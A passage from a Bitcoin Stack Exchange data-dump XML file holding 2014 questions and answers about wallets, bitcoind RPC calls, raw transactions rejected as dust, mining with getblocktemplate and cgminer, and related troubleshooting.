href=&quot;https://bitcoin.stackexchange.com/questions/718/what-is-a-deterministic-wallet/21200#21200&quot;&gt;What is a deterministic wallet?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, here's &lt;a href=&quot;https://github.com/blockstack/pybitcoin/blob/master/pybitcoin/wallet.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;my python implementation of a sequential deterministic wallet&lt;/a&gt;. And here's a &lt;a href=&quot;https://github.com/blockstack/keychain-manager-py&quot; rel=&quot;nofollow noreferrer&quot;&gt;good example of a hierarchical deterministic wallet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="48884" LastEditDate="2017-10-20T00:08:09.797" LastActivityDate="2017-10-20T00:08:09.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21373" PostTypeId="1" CreationDate="2014-01-30T00:49:12.333" Score="5" ViewCount="844" Body="&lt;p&gt;If each bitcoin exchange ran a bitcoin-arbitrage bot (let's say the same one)themselves, would that quickly eliminate the spread, and therefore the opportunity for arbitrage? &lt;/p&gt;&#xA;" OwnerUserId="12874" LastEditorUserId="12874" LastEditDate="2014-01-30T01:16:04.407" LastActivityDate="2014-05-23T07:57:16.357" Title="would universal use of arbitrage bot stabilize the market?" Tags="|trading|market|arbitrage|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21375" PostTypeId="1" CreationDate="2014-01-30T02:08:22.450" Score="5" ViewCount="2773" Body="&lt;p&gt;I am working on a project that need to parse all transactions from bitcoind. I have been using bitcoind which the option txindex=1 and pulling transactions using RPC call getRawTransaction. It work, but is very slow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any fast way to pull all transactions from bitcoind? (I dont need to pull them in order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to read then directly from bitcoind DB, but according to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11104/what-is-the-database-for&quot;&gt;What is the database for?&lt;/a&gt; transactions are not stored in levelDB, there are only at blockXXX.dat, in network format, so I would need to parse the block to extract them, which doesnt seem OK (I guess that orphan blocks are also there, so that will generate problems).&lt;/p&gt;&#xA;" OwnerUserId="12146" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2017-12-13T07:34:56.293" Title="How to retrieve all transactions from bitcoind?" Tags="|transactions|bitcoind|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21376" PostTypeId="2" ParentId="16789" CreationDate="2014-01-30T02:17:49.133" Score="0" Body="&lt;p&gt;You would buy if you were Japanese.&#xA;Convert to JPY to USD at your local Japanese bank.&#xA;Buy on a cheaper BTC exchange.&#xA;Transfer BTC to MtGox&#xA;Sell at (currently 15% profit)&#xA;Transfer JPY to your local bank.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2014-01-30T02:17:49.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21377" PostTypeId="2" ParentId="21373" CreationDate="2014-01-30T03:01:48.123" Score="1" Body="&lt;p&gt;Yes, and I recommend researching market making algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that verification and confirmation times are high, so the spreads or at least trade fees will remain wide until that problem is fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it's by design, but it's an economic problem, and wide spreads are the economic result.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-01-30T03:01:48.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21379" PostTypeId="2" ParentId="21308" CreationDate="2014-01-30T03:25:16.073" Score="1" Body="&lt;p&gt;I also do merged mining with p2pool. Keep in mind that you are essentially solo mining for namecoin and iXcoin--when another member of p2pool (not you) finds a winning share that exceeds the target difficulty for bitcoin it isn't usable by you as a winning share for the other coins. So you can't leverage the efforts of the rest of the pool to help you find the other coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you (or other clients connected to your p2pool node) generate a winning share then you will see the altcoin blocks get generated. Given that you are solo mining for those coins it can take quite awhile before you get a share with high enough difficulty. But I assure you that it works.&lt;/p&gt;&#xA;" OwnerUserId="10654" LastActivityDate="2014-01-30T03:25:16.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21382" PostTypeId="1" AcceptedAnswerId="21402" CreationDate="2014-01-30T06:45:09.327" Score="9" ViewCount="5217" Body="&lt;p&gt;It seems that the most widely used symbol for Bitcoin is a &lt;a href=&quot;http://en.wikipedia.org/wiki/File:BitcoinSign.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;B with two vertical lines through it&lt;/a&gt;&lt;sup&gt;1&lt;/sup&gt;. It makes sense, as a single letter with a line or two through it is common for many currencies. Is there a plain text printing for this symbol, or perhaps a font that can insert it into documents and the like? What about a hex code or something for HTML printing? I'm looking for other ways to denote the currency without using an image.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/18643/4276&quot;&gt;With the symbols found here&lt;/a&gt;, it looks like a circle around it might become part of the official symbol as well. Maybe I should ask that separately.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2020-08-02T17:08:32.243" Title="Plain text for the Bitcoin symbol" Tags="|standard|terminology|bitcoin-symbol|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21383" PostTypeId="1" CreationDate="2014-01-30T06:49:16.110" Score="2" ViewCount="1659" Body="&lt;p&gt;I have this raw transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It signed and ready to go&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;adae77fd1c5cc3ae4429217ea0d84e67ac6f198543374356cc531350b3ad217b&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;3a3e9efb15b608c3134523eba81cd3748f4eed2b09f0ca2f9aba85c18233e84a&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;304502203ac946b370ecb43a32c3bf67598ca3ddc9818cb9efd0c6a6e68aca6e20d95b06022100841f3eed93cb955f9e1cbd26d23da3b80866872852ec5920d6ff794bd218bee401 035dea6c0ecb52807e2b7a9864c3212451e836eb0fd7cc6ba3369748825e2606f9&quot;,&#xA;                &quot;hex&quot; : &quot;48304502203ac946b370ecb43a32c3bf67598ca3ddc9818cb9efd0c6a6e68aca6e20d95b06022100841f3eed93cb955f9e1cbd26d23da3b80866872852ec5920d6ff794bd218bee40121035dea6c0ecb52807e2b7a9864c3212451e836eb0fd7cc6ba3369748825e2606f9&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        },&#xA;        {&#xA;            &quot;txid&quot; : &quot;d9fc4e55c79ea735800352780d2658b41c6b6de0fd3194de672940210ddcd6a3&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;30450220644bbf5a711243f679655e7ce7c193a8dde5fd110252dfdb4dd2d05d21e1b0a4022100a22c656b1e897bac71bf2d89e385eda4bdade16ca04957537fc73f903cb614d001 0395676e88fe9ae950d40915df040a3610e1f42368f4a842692c24b29fd9d78a7b&quot;,&#xA;                &quot;hex&quot; : &quot;4830450220644bbf5a711243f679655e7ce7c193a8dde5fd110252dfdb4dd2d05d21e1b0a4022100a22c656b1e897bac71bf2d89e385eda4bdade16ca04957537fc73f903cb614d001210395676e88fe9ae950d40915df040a3610e1f42368f4a842692c24b29fd9d78a7b&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00030000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 3fcf3750b81fad1cd27bae9c34feeefc278360ee OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a9143fcf3750b81fad1cd27bae9c34feeefc278360ee88ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;16pPoiDcGU8P9PcqBqnZGc6SJqeuyLEDEX&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00003516,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 83c1b13e99ccfc66405ef2ecb76deefca1650975 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a91483c1b13e99ccfc66405ef2ecb76deefca165097588ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1D1fZ7SPBtDZ4iVy9Ut5Dg5rv7PChc6PHv&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00020000,&#xA;            &quot;n&quot; : 2,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 7e69b1309dde4be2e39e1956ace0fa95db0d01b4 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a9147e69b1309dde4be2e39e1956ace0fa95db0d01b488ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1CXQknoy7hvc4sVnQxCL2LnGZQ6C8H4yU8&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try to broadcast it to blockchain through sendrawtransaction it doesn't work: error: {&quot;code&quot;:-22,&quot;message&quot;:&quot;TX rejected&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? What's wrong with transaction? If you take a look on inputs and outputs you can see everything is look correct. I really don't understand why...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise how to fix it and make it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Wait a minute! I just found this post &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/14244/why-is-a-transaction-with-outputs-of-less-than-0-00005460-rejected?rq=1&quot;&gt;Why is a transaction with outputs of less than ฿0.00005460 rejected?&lt;/a&gt; ... It means if my change below then some &quot;dust&quot; value in BTC I can't send it???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is not dust. This is my change!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how to keep my change less then 5460 satoshis? What is solution?&lt;/p&gt;&#xA;" OwnerUserId="6770" LastEditorUserId="5406" LastEditDate="2023-08-28T13:59:36.127" LastActivityDate="2023-08-28T13:59:36.127" Title="Can't send raw transaction. Bitcoind error: {&quot;code&quot;:-22,&quot;message&quot;:&quot;TX rejected&quot;}" Tags="|bitcoind|raw-transaction|error|dust|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21384" PostTypeId="1" CreationDate="2014-01-30T06:58:38.027" Score="3" ViewCount="330" Body="&lt;p&gt;I need to cancel a transaction that was sent without fee (using Blockchain.info). It is currently &quot;Unconfirmed&quot;. The only way I have found is to do a double spend of the whole wallet, specifying a higher transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However Multibit and probably bitcoin-qt will not allow me to send more than my &quot;balance&quot;. How can I bypass this balance check?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I request a miner to include a raw transaction in a block (against a bounty)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="3947" LastEditorUserId="3947" LastEditDate="2014-01-30T08:30:47.367" LastActivityDate="2014-01-30T08:30:47.367" Title="How to ignore balance check to cancel unconfirmed transaction (double spending)" Tags="|transactions|bitcoin-core|doublespend|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21386" PostTypeId="2" ParentId="21363" CreationDate="2014-01-30T07:31:51.140" Score="0" Body="&lt;p&gt;You can send them the bitcoins and they can convert them in fiat at &lt;a href=&quot;https://localbitcoins.com/country/BG&quot; rel=&quot;nofollow&quot;&gt;localbitcoins Bulgaria&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-30T07:31:51.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21388" PostTypeId="1" CreationDate="2014-01-30T09:18:21.070" Score="7" ViewCount="1660" Body="&lt;p&gt;I'm building a basic Bitcoin client in c# to better understand the mining protocol.&#xA;I need help understanding Getblocktemplate. I have read the Getblocktemplate wiki, but I'm still having an issue understanding the protocol. The wiki states &quot;Since you're making all the blocks yourself, you really don't ever need to get another template... until it's invalid&quot;. When is the template considered invalid? How often do I need to call Getblocktemplate?&#xA;If a new block is mined every 10 minutes, with some coins that is every 1 minute, do I need to call Getblocktemplate every 10 minutes (1 minute depending on the coin) so that I have the latest &quot;previousblockhash&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps I'm using:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a rpc call to bicoind server for Getblocktemplate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parse data and build a merkle root.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Build a block header (version, previousblockhash, merkleroot, curtime, bits, nonce).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get a header hash. headerHash = Hash(version, previousblockhash, merkleroot, curtime, bits, nonce).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat step 4 by 2^32 increments of nonce.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I understand I can then increment &quot;curtime&quot;, (which doesn't have to be precise?), so increment curtime and then repeat step 5. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this correct? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long can I keep incrementing &quot;curtime&quot; before I need to call getblocktemplate again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At what point do I need a new block (i.e. new previousblockhash and new merkle root)?&lt;/p&gt;&#xA;" OwnerUserId="12878" LastEditorUserId="5406" LastEditDate="2016-04-17T20:16:43.117" LastActivityDate="2022-10-28T21:52:31.207" Title="How often should I call getblocktemplate?" Tags="|bitcoind|mining-software|getblocktemplate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21389" PostTypeId="1" CreationDate="2014-01-30T09:19:52.757" Score="1" ViewCount="230" Body="&lt;p&gt;I have tried to install the coinpunk after following the instructions given on github about coinpunk installation. Bitcoind installed successfully but when i try to run the &lt;strong&gt;npm install&lt;/strong&gt; command, it starts processing and does not stop. Though i tried the same process on two different servers(centos,ubuntu) but it gives same error.&lt;/p&gt;&#xA;" OwnerUserId="11673" LastActivityDate="2016-05-10T04:36:40.677" Title="Not able to install coinpunk on centos and ubuntu server" Tags="|ubuntu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21390" PostTypeId="2" ParentId="12391" CreationDate="2014-01-30T09:39:13.783" Score="0" Body="&lt;p&gt;Use can use command &lt;code&gt;getrawmempool&lt;/code&gt; from bitcoin-qt console (or through JSON-RPC). This command shows all transactions, that are not confirmed yet. You can run this command every second, and save the time, when each transaction appears. After that you wait for blocks, and check when these transactions will be included in blocks. You can also use &lt;code&gt;-blocknotify=&amp;lt;cmd&amp;gt;&lt;/code&gt; command-line option, to execute some external application, when new block appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt; getrawmempool&#xA;&amp;lt;- &#xA;￼[&#xA;&quot;007077f621011fd63f13104e602d079120be93be97a4f78cb4f5f7e442894b38&quot;,&#xA;&quot;00996e6ff49096ff1e2a39866717dcdc3ebd24a57b9f1d7c0681549fc231ffa2&quot;,&#xA;&quot;00f66dc8026d3489c6db2b5a500338bdad76ce25b1eaba6b7449d324fd8d975c&quot;,&#xA;.....&#xA;&quot;fed72f15d234148a1d0db1b3372e65688de907555d6843a5fe4a32f92cade522&quot;,&#xA;&quot;ff23d3ee0970698659437f32a1270a05062db7bd92e1ce737ee81cc9d604fb7f&quot;,&#xA;&quot;ff8b2f12547d7e102ef5788fba78405cca4d2609deb60d32cf4ccbb48d06d100&quot;&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need more info about specific tx:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt; getrawtransaction 007077f621011fd63f13104e602d079120be93be97a4f78cb4f5f7e442894b38&#xA;&amp;lt;-  &#xA;-&amp;gt; decoderawtransaction  &#xA;&amp;lt;- {&#xA;&quot;txid&quot; : &quot;007077f621011fd63f13104e602d079120be93be97a4f78cb4f5f7e442894b38&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [{&#xA;    &quot;txid&quot; : &quot;1ae188e3e8faa77a27e6a52087485efeb6a9fc9ec143cb4da8338c7f12a94f4c&quot;,&#xA;    &quot;vout&quot; : 1,&#xA;    &quot;scriptSig&quot; : { ... },&#xA;    &quot;sequence&quot; : 4294967295&#xA;}, {&#xA;    &quot;txid&quot; : &quot;9e6339aafa0c5cf19aced3ad718174cb2ddcb5b616c0f1c2e500761514592760&quot;,&#xA;    &quot;vout&quot; : 0,&#xA;    &quot;scriptSig&quot; : { ... },&#xA;    &quot;sequence&quot; : 4294967295&#xA;}, {&#xA;    &quot;txid&quot; : &quot;918f83cddb05b83c37d35d16d954d998fcf452cf93a4a1314eed9800c9770ae3&quot;,&#xA;    &quot;vout&quot; : 1,&#xA;    &quot;scriptSig&quot; : { ... },&#xA;    &quot;sequence&quot; : 4294967295&#xA;}],&#xA;&quot;vout&quot; : [{&#xA;    &quot;value&quot; : 0.03131114,&#xA;    &quot;n&quot; : 0,&#xA;    &quot;scriptPubKey&quot; : {&#xA;        &quot;asm&quot; : ...,&#xA;        &quot;hex&quot; : ...,&#xA;        &quot;reqSigs&quot; : 1,&#xA;        &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot; : [&quot;1Hvvdri3r6iXzgtzdbt9uBmas8iprcmKyk&quot;]&#xA;    }&#xA;}, {&#xA;    &quot;value&quot; : 0.01324172,&#xA;    &quot;n&quot; : 1,&#xA;    &quot;scriptPubKey&quot; : {&#xA;        &quot;asm&quot; : ...,&#xA;        &quot;hex&quot; : ...,&#xA;        &quot;reqSigs&quot; : 1,&#xA;        &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot; : [&quot;1LZkPGswXmwZuHYi3Xt6uFRCsCgTa4WfCD&quot;]&#xA;    }&#xA;}]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2014-01-30T09:39:13.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21391" PostTypeId="1" AcceptedAnswerId="21400" CreationDate="2014-01-30T09:54:20.173" Score="1" ViewCount="245" Body="&lt;p&gt;I am trying to get information about my transactions from my wallet,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Listtransactions, and get all the information, but the time/blocktime/receivetime - there are all in number i can't decipher &quot;1390424516&quot; i thought they were ticks, but new DateTime(1390424516) gets me 01/01/0001 00:02:19 ...&#xA;I tried using them as seconds, i got to year 0045...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the documentations says &#xA;&quot;time&quot; : time associated with the transaction[1].&#xA;From block timestamp, unless transaction was already in memory pool then the local time when the client added the transaction to its memory pool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i tried both methods on Blocktime too, but can't figure out how to get the time...&lt;/p&gt;&#xA;" OwnerUserId="12774" LastActivityDate="2014-01-30T15:48:17.273" Title="Bitcoin QT Rpc Transaction date format" Tags="|transactions|bitcoin-core|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21393" PostTypeId="2" ParentId="19867" CreationDate="2014-01-30T12:28:55.873" Score="-1" Body="&lt;p&gt;I've heard the payout is random and the maximum is 1M Doge. So the average payout for the first 100,000 blocks is 0.5M Doge/block. So after the first halvening 50B Doge are in exisitance.&lt;/p&gt;&#xA;" OwnerUserId="12880" LastActivityDate="2014-01-30T12:28:55.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21394" PostTypeId="1" CreationDate="2014-01-30T12:57:47.853" Score="2" ViewCount="346" Body="&lt;p&gt;I am trying to connect my Avalon Controller to my Raspberry Pi (raplacing the TP-Link module with an Raspberry Pi)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer -o uk1.ghash.io:3333 -O x.x:x -D --verbose --avalon-options 115200:16:10:45:1024:55 --api-allow &quot;W:127.0.0.1&quot; --api-listen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an error like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AVA0: Get avalon read got err 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Someone can help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the cgminer log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [2014-01-30 13:41:59] Started cgminer 3.8.5&#xA; [2014-01-30 13:41:59] USB scan devices: checking for AVA devices&#xA; [2014-01-30 13:41:59] RES: thread starting&#xA; [2014-01-30 13:42:00] AVA looking for and found BTB 0403:6001&#xA; [2014-01-30 13:42:00] USB lock avalon 1-6&#xA; [2014-01-30 13:42:00] RES: avalon (1:6) lock=1&#xA; [2014-01-30 13:42:00] USB res lock avalon 1-6&#xA; [2014-01-30 13:42:00] RES: avalon (1:6) lock ok=1&#xA; [2014-01-30 13:42:00] USB init, iManufacturer mismatch - BTB device 1:6&#xA; [2014-01-30 13:42:00] Found FTDI vs Burnin Electronics&#xA; [2014-01-30 13:42:00] USB free BTB&#xA; [2014-01-30 13:42:00] USB init, iManufacturer mismatch - BBF device 1:6&#xA; [2014-01-30 13:42:00] Found FTDI vs Burnin Electronics&#xA; [2014-01-30 13:42:00] USB free BBF&#xA; [2014-01-30 13:42:00] USB init - AVA device 1:6 usbver=0200 prod='FT232R USB UART' manuf='FTDI' serial='A801XEE2'&#xA; [2014-01-30 13:42:00] AVA0: reset got err 0&#xA; [2014-01-30 13:42:00] AVA0: latency got err 0&#xA; [2014-01-30 13:42:00] AVA0: data got err 0&#xA; [2014-01-30 13:42:00] AVA0: setbaud got err 0&#xA; [2014-01-30 13:42:00] AVA0: setmodemctrl got err 0&#xA; [2014-01-30 13:42:00] AVA0: setflowctrl got err 0&#xA; [2014-01-30 13:42:00] AVA0: setmodemctrl 2 got err 0&#xA; [2014-01-30 13:42:00] AVA0: setflowctrl 2 got err 0&#xA; [2014-01-30 13:42:00] Avalon: Sent(1):&#xA; [2014-01-30 13:42:00] 00000000   ad                                               |.               |&#xA; [2014-01-30 13:42:00] AVA0: usb_write got err 0&#xA; [2014-01-30 13:42:00] AVA0: Get avalon read got err 0&#xA; [2014-01-30 13:42:00] AVA0 reset: get:&#xA; [2014-01-30 13:42:00] 00000000   aa 55 aa 55 00 00 00 00  d0 1f 69 01 70 94 06 00 |.U.U......i.p...|&#xA; [2014-01-30 13:42:00] 00000010   d0 1f 69 01 34 9a 06 00  d0 9a 06 00 80 43 69 01 |..i.4........Ci.|&#xA; [2014-01-30 13:42:00] 00000020   80 43 69 01 00 cc f2 b6  00 00 00 00 01 00 00 00 |.Ci.............|&#xA; [2014-01-30 13:42:00] 00000030   70 94 06 00 d0 1f 69 01  d0 9a 06 00 38 52 02 00 |p.....i.....8R..|&#xA; [2014-01-30 13:42:00] AVA0: Reset failed! not an Avalon? (8: aa 55 aa 55)&#xA; [2014-01-30 13:42:00] Avalon: Sent(96):&#xA; [2014-01-30 13:42:00] 00000000   ac 20 2d 10 0b 00 40 1f  74 01 00 00 00 00 00 00 |. -...@.t.......|&#xA; [2014-01-30 13:42:00] 00000010   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |................|&#xA; [2014-01-30 13:42:00] 00000020   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |................|&#xA; [2014-01-30 13:42:00] 00000030   00 00 00 00 00 00 00 00  00 00 00 00 99 99 99 19 |................|&#xA; [2014-01-30 13:42:00] 00000040   32 33 33 33 cb cc cc 4c  64 66 66 66 fd ff ff 7f |2333...Ldfff....|&#xA; [2014-01-30 13:42:00] 00000050   96 99 99 99 2f 33 33 b3  c8 cc cc cc 61 66 66 e6 |..../33.....aff.|&#xA; [2014-01-30 13:42:00] AVA0: usb_write got err 0&#xA; [2014-01-30 13:42:00] Avalon: Sent(96):&#xA; [2014-01-30 13:42:00] 00000000   a4 20 2d 10 0b 00 40 1f  74 01 00 00 00 00 00 00 |. -...@.t.......|&#xA; [2014-01-30 13:42:00] 00000010   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |................|&#xA; [2014-01-30 13:42:00] 00000020   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |................|&#xA; [2014-01-30 13:42:00] 00000030   00 00 00 00 00 00 00 00  00 00 00 00 99 99 99 19 |................|&#xA; [2014-01-30 13:42:00] 00000040   32 33 33 33 cb cc cc 4c  64 66 66 66 fd ff ff 7f |2333...Ldfff....|&#xA; [2014-01-30 13:42:00] 00000050   96 99 99 99 2f 33 33 b3  c8 cc cc cc 61 66 66 e6 |..../33.....aff.|&#xA; [2014-01-30 13:42:00] AVA0: usb_write got err 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12882" LastEditorUserId="12882" LastEditDate="2014-01-30T13:46:50.217" LastActivityDate="2014-01-30T13:46:50.217" Title="AVA0: Get avalon read got err 0" Tags="|cgminer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21395" PostTypeId="1" AcceptedAnswerId="21396" CreationDate="2014-01-30T13:57:58.387" Score="6" ViewCount="2832" Body="&lt;p&gt;If I want to have a website that can credit bitcoins to a user's account when they deposit bitcoins, how can I have the website automatically detect when the bitcoins have been received into to the wallet address given to that customer (belonging to me), and consequently update the website to reflect their new balance automatically - without having to manually check my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not interested in using existing payment services for this, but rather I'm interested in the coding principles required.&lt;/p&gt;&#xA;" OwnerUserId="12594" LastActivityDate="2014-01-30T21:27:44.207" Title="How can a website detect when bitcoins have been deposited?" Tags="|websites|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21396" PostTypeId="2" ParentId="21395" CreationDate="2014-01-30T14:03:49.277" Score="1" Body="&lt;p&gt;You'd have to get your hands wet with &lt;a href=&quot;http://json-rpc.org/&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC&lt;/a&gt; and the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;bitcoind API&lt;/a&gt;. This way you can programmatically, and automatically run specific wallet functionality like sending coins to some address once a specific condition is met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically I suggest you look at the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#Command_line_.28cURL.29&quot; rel=&quot;nofollow&quot;&gt;raw HTTP calls&lt;/a&gt; being sent to the bitcoind server. &lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-01-30T14:09:00.720" LastActivityDate="2014-01-30T14:09:00.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21398" PostTypeId="2" ParentId="17649" CreationDate="2014-01-30T15:24:33.260" Score="0" Body="&lt;p&gt;Although it seems to have resolved itself, there can be other causes of this. Windows firewall will sometimes block my wallets from syncing. (I don't think this is causing your problem, but it may help someone coming to this question via search with the same problem.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To diagnose this problem, type &quot;firewall&quot; into the start menu and click &quot;Windows firewall with advanced security&quot;. You can then click &quot;Monitoring&quot;, then &quot;Firewall&quot; on the menu to the left. Sort this list by &quot;Action&quot; and see if your wallet program is being blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is, click &quot;Inbound rules&quot; and sort by name, look for your wallet program. If it's being blocked, right click and disable the 